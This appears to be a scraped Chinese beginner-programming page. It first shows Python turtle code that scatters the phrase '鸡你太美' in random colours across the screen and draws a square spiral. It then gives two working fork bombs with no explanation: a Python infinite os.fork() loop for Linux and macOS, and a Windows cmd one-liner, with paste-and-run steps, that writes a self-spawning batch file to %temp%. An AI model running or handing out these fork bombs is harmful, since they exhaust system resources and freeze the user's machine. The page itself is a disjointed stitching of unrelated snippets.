天天看点

chengxian - 用while循环画满天星fork 炸弹 linux 系统 os系统 类linux系统windows 版fork炸弹

# while
# a = 0
# while True:
#     a =a+1
#     print("鸡你太美")

import turtle
import random
turtle.speed(0)
b=0
turtle.color("yellow")
turtle.bgcolor("black")
turtle.width(10)
while b<100:
    turtle.penup()
    turtle.goto(random.randint(-350,350),random.randint(-350,350))
    turtle.pendown()
    turtle.color(random.random(),random.random(),random.random())
    a = 0
    turtle.write("鸡你太美",font=(None, random.randint(1,40)))
    # while a<5:
    #     turtle.forward(20)
    #     turtle.left(144)
    #     a = a+1
    b=b+1
turtle.done()

import turtle
turtle.speed(0) # 速度
for i in range(1000):
    turtle.fd(i)
    turtle.right(90)
turtle.done()

           

fork 炸弹 linux 系统 os系统 类linux系统

import os
while 1<5:
    os.fork()
           

windows 版fork炸弹

Win键+R

在运行窗口输入

cmd /c @cd /d %temp% & echo @start /min cmd ^& cmd > cmd.bat & cmd

回车